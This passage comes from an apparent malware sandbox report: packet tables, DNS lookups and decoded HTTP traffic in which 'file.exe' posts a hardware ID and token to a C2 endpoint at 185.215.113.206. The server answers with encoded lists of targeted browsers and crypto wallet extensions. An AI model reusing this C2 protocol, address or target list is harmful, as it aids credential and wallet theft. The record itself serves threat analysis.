Dec 6, 2024 18:45:57.247195005 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.247363091 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.247368097 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.247893095 CET	49846	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:57.247920990 CET	443	49846	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:57.565778017 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.565810919 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.565855980 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.565872908 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.565882921 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.565900087 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.565907955 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.565926075 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.565931082 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.565953016 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.565975904 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.566382885 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.566401958 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.566431999 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.566437960 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.566469908 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.566488981 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.567477942 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.567497969 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.567529917 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.567534924 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.567574978 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.567744970 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.567760944 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.567786932 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.567792892 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.567819118 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.567837000 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.568610907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:57.568640947 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.568656921 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.568665028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:57.568686008 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.568691969 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.568721056 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.568738937 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.572812080 CET	443	49848	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.572866917 CET	49848	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.574587107 CET	49848	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.574595928 CET	443	49848	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.574886084 CET	49848	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.574892998 CET	443	49848	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.575947046 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.575964928 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.576018095 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.576029062 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.576047897 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.576069117 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.576884985 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.576900005 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.576961994 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.576961994 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.576967955 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.577017069 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.577800035 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.577815056 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.577842951 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.577848911 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.577886105 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.577899933 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.580396891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:57.607712030 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.607737064 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.607762098 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.607769012 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.607800007 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.607808113 CET	443	49847	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.607834101 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.607865095 CET	49847	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.646317959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:57.646368027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:57.693778992 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.693799973 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.693840027 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.693860054 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.693888903 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.693907976 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.700587988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:57.706119061 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.706136942 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.706175089 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.706183910 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.706248045 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.717467070 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.717483044 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.717525959 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.717534065 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.717571020 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.717592955 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.726666927 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.726681948 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.726726055 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.726731062 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.726771116 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.737777948 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.737795115 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:57.737843037 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:57.737848043 CET	443	49842	150.171.27.10	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 18:45:21.288136959 CET	192.168.2.6	1.1.1.1	0x507b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 18:45:21.288261890 CET	192.168.2.6	1.1.1.1	0xbe6b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 6, 2024 18:45:28.082144022 CET	192.168.2.6	1.1.1.1	0x5f6a	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 6, 2024 18:45:28.082144022 CET	192.168.2.6	1.1.1.1	0xc975	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 18:45:28.097002983 CET	192.168.2.6	1.1.1.1	0x265b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 18:45:28.097207069 CET	192.168.2.6	1.1.1.1	0x74da	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 18:45:21.431149006 CET	1.1.1.1	192.168.2.6	0xbe6b	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 6, 2024 18:45:21.431632996 CET	1.1.1.1	192.168.2.6	0x507b	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 6, 2024 18:45:28.219698906 CET	1.1.1.1	192.168.2.6	0x5f6a	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 18:45:28.220097065 CET	1.1.1.1	192.168.2.6	0xc975	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 18:45:28.220097065 CET	1.1.1.1	192.168.2.6	0xc975	No error (0)	www3.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 6, 2024 18:45:28.236100912 CET	1.1.1.1	192.168.2.6	0x74da	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 18:45:28.339886904 CET	1.1.1.1	192.168.2.6	0x265b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 18:45:28.339886904 CET	1.1.1.1	192.168.2.6	0x265b	No error (0)	plus.l.google.com		142.250.200.238	A (IP address)	IN (0x0001)	false
Dec 6, 2024 18:46:23.645692110 CET	1.1.1.1	192.168.2.6	0xa981	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 18:46:23.645692110 CET	1.1.1.1	192.168.2.6	0xa981	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 6, 2024 18:46:23.645692110 CET	1.1.1.1	192.168.2.6	0xa981	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.206	80	6768	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:45:12.879352093 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2024 18:45:14.233403921 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:14.245246887 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 46 44 37 42 41 44 30 32 31 45 32 36 34 33 30 39 35 39 34 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="hwid"EEFD7BAD021E2643095942------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="build"drum------KFCFBAAEHCFHJJKEHJKJ--
Dec 6, 2024 18:45:14.700495005 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 52 6d 4d 32 4d 79 4f 44 56 68 5a 44 46 6d 4e 54 64 6c 5a 54 4e 6a 4d 6d 4d 33 4e 44 67 31 4e 32 51 33 4e 44 45 79 5a 44 6b 7a 59 57 4a 6a 4d 44 4d 77 4e 47 51 78 4e 6a 63 32 4d 44 55 31 5a 57 45 32 4e 32 59 34 59 7a 4e 6b 5a 6d 4d 32 4d 54 5a 6c 4e 44 55 34 4e 7a 63 34 59 6d 49 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTRmM2MyODVhZDFmNTdlZTNjMmM3NDg1N2Q3NDEyZDkzYWJjMDMwNGQxNjc2MDU1ZWE2N2Y4YzNkZmM2MTZlNDU4Nzc4YmIzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 6, 2024 18:45:14.701931953 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="message"browsers------KEGDBFIJKEBGIDGDHCGC--
Dec 6, 2024 18:45:15.147247076 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 6, 2024 18:45:15.147341967 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 6, 2024 18:45:15.148722887 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="message"plugins------HDAKFCGIJKJKFHIDHIII--
Dec 6, 2024 18:45:15.595118046 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 6, 2024 18:45:15.595376968 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 6, 2024 18:45:15.595390081 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
